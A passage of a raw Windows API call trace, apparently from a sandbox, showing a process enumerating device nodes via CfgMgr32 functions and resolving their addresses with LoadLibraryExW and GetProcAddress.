CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0198.988] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x325ec392, dwHighDateTime=0x1d9eb0c)) [0198.988] SetEvent (hEvent=0x248) returned 1 [0198.989] SetEvent (hEvent=0x248) returned 1 [0198.990] free (_Block=0x20abc27cf80) [0198.990] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0198.991] malloc (_Size=0x48) returned 0x20abc27cb20 [0198.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x325ec392, dwHighDateTime=0x1d9eb0c)) [0198.991] SetEvent (hEvent=0x248) returned 1 [0198.992] SetEvent (hEvent=0x248) returned 1 [0198.993] free (_Block=0x20abc27cb20) [0198.993] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0198.993] malloc (_Size=0x48) returned 0x20abc27cb20 [0198.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x325ec392, dwHighDateTime=0x1d9eb0c)) [0198.994] SetEvent (hEvent=0x248) returned 1 [0198.998] SetEvent (hEvent=0x248) returned 1 [0198.998] free (_Block=0x20abc27cb20) [0198.998] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0199.001] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x32612673, dwHighDateTime=0x1d9eb0c)) [0199.001] SetEvent (hEvent=0x248) returned 1 [0199.002] SetEvent (hEvent=0x248) returned 1 [0199.002] free (_Block=0x20abc27cb20) [0199.003] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x1e, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0199.003] malloc (_Size=0x48) returned 0x20abc27cf80 [0199.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x32612673, dwHighDateTime=0x1d9eb0c)) [0199.003] SetEvent (hEvent=0x248) returned 1 [0199.005] SetEvent (hEvent=0x248) returned 1 [0199.006] free (_Block=0x20abc27cf80) [0199.006] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x1e, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0199.006] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x32612673, dwHighDateTime=0x1d9eb0c)) [0199.007] SetEvent (hEvent=0x248) returned 1 [0199.008] SetEvent (hEvent=0x248) returned 1 [0199.009] free (_Block=0x20abc27cb20) [0199.009] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0199.009] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x32612673, dwHighDateTime=0x1d9eb0c)) [0199.009] SetEvent (hEvent=0x248) returned 1 [0199.012] SetEvent (hEvent=0x248) returned 1 [0199.013] free (_Block=0x20abc27cb20) [0199.013] CM_Get_Device_IDA (in: dnDevInst=0x1f, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="DISPLAY\\DELA007\\4&27B1E55B&0&UID0") returned 0x0 [0199.013] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3263881b, dwHighDateTime=0x1d9eb0c)) [0199.013] SetEvent (hEvent=0x248) returned 1 [0199.014] SetEvent (hEvent=0x248) returned 1 [0199.015] free (_Block=0x20abc27cb20) [0199.015] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0199.015] malloc (_Size=0x22) returned 0x20abc2aa120 [0199.015] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa120, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa120, pulLength=0x2dc22fd3f8) returned 0x0 [0199.016] free (_Block=0x20abc2aa120) [0199.016] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3263881b, dwHighDateTime=0x1d9eb0c)) [0199.016] SetEvent (hEvent=0x248) returned 1 [0199.017] malloc (_Size=0x18) returned 0x20abc281e00 [0199.017] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0199.017] free (_Block=0x20abc281e00) [0199.017] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bd70 [0199.017] SafeArrayGetDim (psa=0x20abba7ff50) returned 0x1 [0199.017] SafeArrayGetLBound (in: psa=0x20abba7ff50, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0199.017] SafeArrayGetUBound (in: psa=0x20abba7ff50, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0199.017] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0199.017] SafeArrayGetDim (psa=0x20abba7ff50) returned 0x1 [0199.017] SafeArrayGetUBound (in: psa=0x20abba7ff50, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0199.017] SafeArrayGetElemsize (psa=0x20abba7ff50) returned 0x8 [0199.017] SafeArrayGetElement (in: psa=0x20abba7ff50, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0199.018] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402120, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0199.018] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0199.019] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bd70) returned 1 [0199.019] SetEvent (hEvent=0x248) returned 1 [0199.020] free (_Block=0x20abc27cb20) [0199.020] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0199.020] malloc (_Size=0x14) returned 0x20abc281e00 [0199.020] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281e00, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281e00, pulLength=0x2dc22fd3f8) returned 0x0 [0199.020] free (_Block=0x20abc281e00) [0199.020] malloc (_Size=0x48) returned 0x20abc27cf80 [0199.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3263881b, dwHighDateTime=0x1d9eb0c)) [0199.021] SetEvent (hEvent=0x248) returned 1 [0199.021] malloc (_Size=0x18) returned 0x20abc281e60 [0199.021] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0199.021] free (_Block=0x20abc281e60) [0199.021] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0be70 [0199.021] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0199.021] SafeArrayGetLBound (in: psa=0x20abba80490, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0199.021] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0199.021] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0199.021] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0199.021] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0199.021] SafeArrayGetElemsize (psa=0x20abba80490) returned 0x8 [0199.022] SafeArrayGetElement (in: psa=0x20abba80490, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0199.022] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402360, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0199.023] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0199.023] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0be70) returned 1 [0199.024] SetEvent (hEvent=0x248) returned 1 [0199.025] free (_Block=0x20abc27cf80) [0199.025] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0199.241] malloc (_Size=0x48) returned 0x20abc27cf80 [0199.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3284e8f4, dwHighDateTime=0x1d9eb0c)) [0199.242] SetEvent (hEvent=0x248) returned 1 [0199.243] SetEvent (hEvent=0x248) returned 1 [0199.244] free (_Block=0x20abc27cf80) [0199.244] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0199.245] malloc (_Size=0x48) returned 0x20abc27cf80 [0199.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3284e8f4, dwHighDateTime=0x1d9eb0c)) [0199.245] SetEvent (hEvent=0x248) returned 1 [0199.246] SetEvent (hEvent=0x248) returned 1 [0199.247] free (_Block=0x20abc27cf80) [0199.248] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0199.249] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3287b1fa, dwHighDateTime=0x1d9eb0c)) [0199.249] SetEvent (hEvent=0x248) returned 1 [0199.250] SetEvent (hEvent=0x248) returned 1 [0199.251] free (_Block=0x20abc27cb20) [0199.251] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0199.251] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3287b1fa, dwHighDateTime=0x1d9eb0c)) [0199.251] SetEvent (hEvent=0x248) returned 1 [0199.255] SetEvent (hEvent=0x248) returned 1 [0199.256] free (_Block=0x20abc27cb20) [0199.256] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0199.509] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.509] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x32ad7256, dwHighDateTime=0x1d9eb0c)) [0199.509] SetEvent (hEvent=0x248) returned 1 [0199.513] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.514] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0199.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.517] malloc (_Size=0x18) returned 0x20abc2819a0 [0199.518] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x1f, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0199.518] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x32afd462, dwHighDateTime=0x1d9eb0c)) [0199.518] SetEvent (hEvent=0x248) returned 1 [0199.522] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.522] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0199.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.526] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.527] malloc (_Size=0x18) returned 0x20abc281d60 [0199.527] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x1f, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0199.527] malloc (_Size=0x48) returned 0x20abc27cf80 [0199.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x32b2379b, dwHighDateTime=0x1d9eb0c)) [0199.527] SetEvent (hEvent=0x248) returned 1 [0199.533] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.533] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0199.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.537] malloc (_Size=0x18) returned 0x20abc282040 [0199.538] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0199.538] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x32b2379b, dwHighDateTime=0x1d9eb0c)) [0199.538] SetEvent (hEvent=0x248) returned 1 [0199.544] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.544] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0199.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.548] malloc (_Size=0x18) returned 0x20abc281c20 [0199.548] CM_Get_Device_IDA (in: dnDevInst=0x20, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A06\\PCI_HOTPLUG_RESOURCES") returned 0x0 [0199.548] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.548] GetSystemTimeAsFileTime (in: 